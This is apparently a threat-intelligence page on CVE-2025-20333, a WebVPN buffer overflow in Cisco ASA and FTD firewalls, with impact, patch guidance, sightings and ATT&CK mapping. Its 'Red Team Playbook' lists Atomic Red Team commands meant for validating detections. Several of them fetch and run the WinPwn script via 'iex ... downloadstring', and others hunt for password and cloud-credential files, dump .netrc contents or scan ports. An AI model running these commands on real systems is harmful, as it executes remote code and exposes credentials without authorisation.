CVE-2025-20333

CRITICAL CISA KEV POC Pub 25/09 Upd 26/02

Overview

This vulnerability is a buffer overflow (CWE-120) caused by improper validation of user-supplied input within the VPN web server component of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software. Specifically, crafted HTTP(S) requests containing malicious payloads are not correctly sanitized, leading to memory corruption in the web VPN interface. The flaw resides in the handling of HTTP requests processed by the VPN web server module.

Vulnerability Description

A vulnerability in the VPN web server of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an authenticated, remote attacker to execute arbitrary code on an affected device. This vulnerability is due to improper validation of user-supplied input in HTTP(S) requests. An attacker with valid VPN user credentials could exploit this vulnerability by sending crafted HTTP requests to an affected device. A successful exploit could allow the attacker to execute arbitrary code as root, possibly resulting in the complete compromise of the affected device.

Impact

An attacker possessing valid VPN credentials can execute arbitrary code with root privileges on the affected device, resulting in full system compromise. This enables unauthorized control over firewall functions, potential data exfiltration, and lateral movement within the network. The vulnerability has been exploited in the wild and can be combined with other flaws to bypass authentication, increasing the attack surface. Successful exploitation undermines network perimeter security and can disrupt enterprise operations or expose sensitive data.

Solution

Cisco has released security updates addressing this vulnerability in Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software. Administrators should apply the patches as detailed in Cisco Security Advisory cisco-sa-asaftd-webvpn-z5xP8EUB. The advisory provides specific version updates and installation instructions. No alternative workarounds are recommended; prompt patching is essential to mitigate exploitation risk.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

A critical vulnerability exists within the VPN web server of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software, stemming from improper validation of user-supplied input in HTTP(S) requests. This flaw allows authenticated remote attackers to execute arbitrary code on affected devices. The root cause lies in the failure to adequately sanitize input, which can lead to the execution of malicious commands with root privileges. This level of access can result in a complete compromise of the device, potentially allowing attackers to manipulate network traffic, exfiltrate sensitive data, or deploy further malicious payloads within the network.

Exploitation of this vulnerability requires valid VPN user credentials, which means that attackers must first gain access to the VPN service. Once authenticated, they can craft specially designed HTTP requests that exploit the input validation flaw. This scenario presents a significant risk, especially in environments where VPN access is granted to multiple users, including employees, contractors, or third-party vendors. The ability to execute arbitrary code as root not only jeopardizes the integrity of the affected device but also poses a threat to the broader network infrastructure, as attackers could pivot to other systems or services once they gain a foothold.

The real-world impact of this vulnerability is substantial, particularly for organizations that rely on Cisco's security appliances for their network defense. A successful exploit could lead to severe business risks, including data breaches, operational disruptions, and reputational damage. The potential for attackers to gain unauthorized access to sensitive information or critical systems could result in compliance violations, legal liabilities, and financial losses. Furthermore, the high CVSS score of 9.9 indicates that this vulnerability is considered critical, necessitating immediate attention from security teams to mitigate the risks associated with it.

To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching affected Cisco products is crucial, as vendors typically release security updates to address known vulnerabilities. Additionally, organizations should employ intrusion detection systems (IDS) and intrusion prevention systems (IPS) to monitor network traffic for suspicious activity that may indicate an attempted exploit. Implementing strict access controls and ensuring that VPN credentials are managed securely can also help reduce the risk of unauthorized access. Furthermore, conducting regular security assessments and penetration testing can aid in identifying potential weaknesses in the network infrastructure before they can be exploited by malicious actors.

In conclusion, the vulnerability in the VPN web server of Cisco Secure Firewall ASA and FTD Software represents a significant threat to organizations utilizing these products. The potential for remote code execution as root underscores the need for robust security measures, including timely updates, vigilant monitoring, and strong access controls. By adopting a proactive security posture, organizations can better protect themselves against the risks posed by this and similar vulnerabilities, ensuring the integrity and availability of their network resources.




CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting the VPN web server vulnerability in Cisco Secure Firewall ASA and FTD Software. Our telemetry indicates a significant rise in detection activity, accompanied by a substantial increase in the Exploit Prediction Scoring System (EPSS) score, reflecting a growing likelihood of active exploitation in the wild. This surge aligns temporally with the recent inclusion of CVE-2025-20333 in the Known Exploited Vulnerabilities (KEV) catalog, underscoring heightened adversary interest and operationalization. Although no new exploit techniques have been publicly disclosed, the increased exploitation signals elevated risk for organizations relying on these products. Notably, ransomware groups such as Akira remain linked to this vulnerability, suggesting potential for its use in targeted intrusion campaigns despite the absence of confirmed ransomware deployment at this time. Consequently, the threat level has escalated from a theoretical to a more imminent operational concern, warranting increased vigilance and prioritization within defensive postures.



Update 2 — June 07, 2026

CSURFACE threat intelligence has identified the emergence of a publicly available proof-of-concept exploit targeting CVE-2025-20333, hosted on GitHub, marking a significant shift in the exploit landscape. Despite a notable reduction in detection activity across our telemetry, this development indicates that adversaries now have more accessible tools to weaponize the vulnerability, potentially lowering the barrier to exploitation. Concurrently, the EPSS score has declined modestly, reflecting a slight decrease in overall exploitation likelihood, which may be influenced by the reduced detection signals or shifting attacker focus. However, the presence of new exploitation tools combined with continued interest from threat actors such as the Akira ransomware group underscores a persistent operational risk. This dynamic suggests that while immediate exploitation attempts may be less frequent, the vulnerability remains a viable vector for targeted intrusions and lateral movement within compromised environments. Consequently, the threat level remains elevated, with increased emphasis on monitoring for exploitation attempts leveraging the newly available proof-of-concept code.

Affected Products (12)

Vendor Product Version CPE
cisco Cisco Adaptive Security Appliance Software All cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
cisco Cisco Adaptive Security Appliance Software All cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
cisco Cisco Adaptive Security Appliance Software All cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
cisco Cisco Adaptive Security Appliance Software All cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
cisco Cisco Adaptive Security Appliance Software All cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
cisco Cisco Adaptive Security Appliance Software All cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
cisco Cisco Adaptive Security Appliance Software All cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
cisco Cisco Adaptive Security Appliance Software All cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense All cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense All cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense All cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense 7.6.0 cpe:2.3:a:cisco:firepower_threat_defense:7.6.0:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (1)

Repository Author Stars Forks Date Link
curtishoughton/Cisco-ASA-CVE-2025-20333-Scanner
Safe Python scanner for Cisco CVE-2025-20333 (Cisco ASA/FTD WebVPN Buffer Overflow)
curtishoughton 0 0 2026-05-16 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Some sightings

Threat Feed

15 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-16
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-17
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-16
PoC Published (1 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2026-05-11
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-30
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-29
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-28
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-27
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-24
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-04-23
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-04-05
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2025-09-25
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Buffer Overflow
100% buffer_overflow
Remote Code Execution
73% rce
Improper Input Validation
65% input_validation
Code Injection
51% code_injection

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-44 Overflow Binary Resource File
56%
High Very High
CAPEC-14 Client-side Injection-induced Buffer Overflow
54%
Medium High
CAPEC-9 Buffer Overflow in Local Command-Line Utilities
51%
High High
CAPEC-92 Forced Integer Overflow
47%
High High
CAPEC-42 MIME Conversion
42%
High High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (4)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2025-20333
sec.cloudapps.cisco.com
GitHub CVE
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-webvpn-z5xP8EUB
sec.cloudapps.cisco.com
NVD API Vendor Advisory
https://sec.cloudapps.cisco.com/security/center/resources/asa_ftd_continued_attacks
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-20333